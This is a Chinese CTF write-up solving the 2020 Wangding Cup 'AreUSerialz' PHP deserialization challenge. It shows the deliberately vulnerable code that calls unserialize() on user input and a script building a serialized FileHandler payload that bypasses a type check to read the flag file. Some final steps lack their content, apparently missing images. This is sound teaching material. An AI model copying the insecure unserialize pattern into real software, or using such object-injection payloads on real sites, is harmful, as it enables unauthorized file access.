从零学网络安全 - CTF真题解析 2020-网鼎杯-青龙组-Web-AreUSerialz
一、目标:获取 Flag
1. 我们有两个文件
NewFlag.php
<?php
class NewFlag {
public static function getFlag($fileName) {
$res = "flag error";
if($fileName ==="NewFlag.php") {
$res = "flag:{this is flag}";
}
return $res;
}
}
?>
ctf2.php
<?php
include("NewFlag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = NewFlag::getFlag($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
?>
二、分析代码
1. 补充知识点:__wakeup() 函数比 __destruct() 函数先执行
__destruct() 函数:当一个对象被销毁时自动调用。
__wakeup() 函数:当我们将一个字符串反序列化时自动调用。
由于此题里没有 __wakeup() 函数,所以要另找突破口。
2. 寻找突破口
因为前面代码都是对象内的函数,所以突破口一定在这段代码。
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
很明显,这里有个输入字符串 str,所以最后我们要的答案一定类似于:
http://localhost/ctf2.php?str=XXX ,现在我们的目标是找到 XXX,并且 XXX 是序列化后的对象,才能执行对象里的函数。
这里有一个判断函数 is_valid($str),用来判断 str 是否满足标准可打印 ASCII 字符,这个无需过多关注。
继续分析,程序结束后一定会调用 __destruct() 函数,__destruct() 函数里又有一个 process() 函数。分析 process() 函数,可以看到有一个 read() 函数,而 read() 函数是可以读取 NewFlag.php 的,所以我们要想办法让 read() 函数被执行。继续看 read() 函数执行条件,是让 op=2。
3. 构造数据
根据以上条件,新建一个 php 文件,并执行。对象属性里的 $content 似乎没什么用,我们可以任意赋值。
<?php
class FileHandler {
public $op=" 2";
public $filename="NewFlag.php";
public $content="abc";
}
$fh = new FileHandler();
echo serialize($fh);
?>
执行后得到:
O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:11:"NewFlag.php";s:7:"content";s:3:"abc";}
重点1:
源代码里的 protected 必须改成 public 才能顺利执行。
重点2:
op 的值必须用 $op=" 2" 而不是 $op="2",如果 $op="2",会被 __destruct() 函数强行改成"1"。

重点3:
phpStudy 版本过低不行,这是高版本的 bug,我们改成:

三、获得 Flag
1. 构造最终链接
回车后在页面最下方得到:

至此,成功夺旗。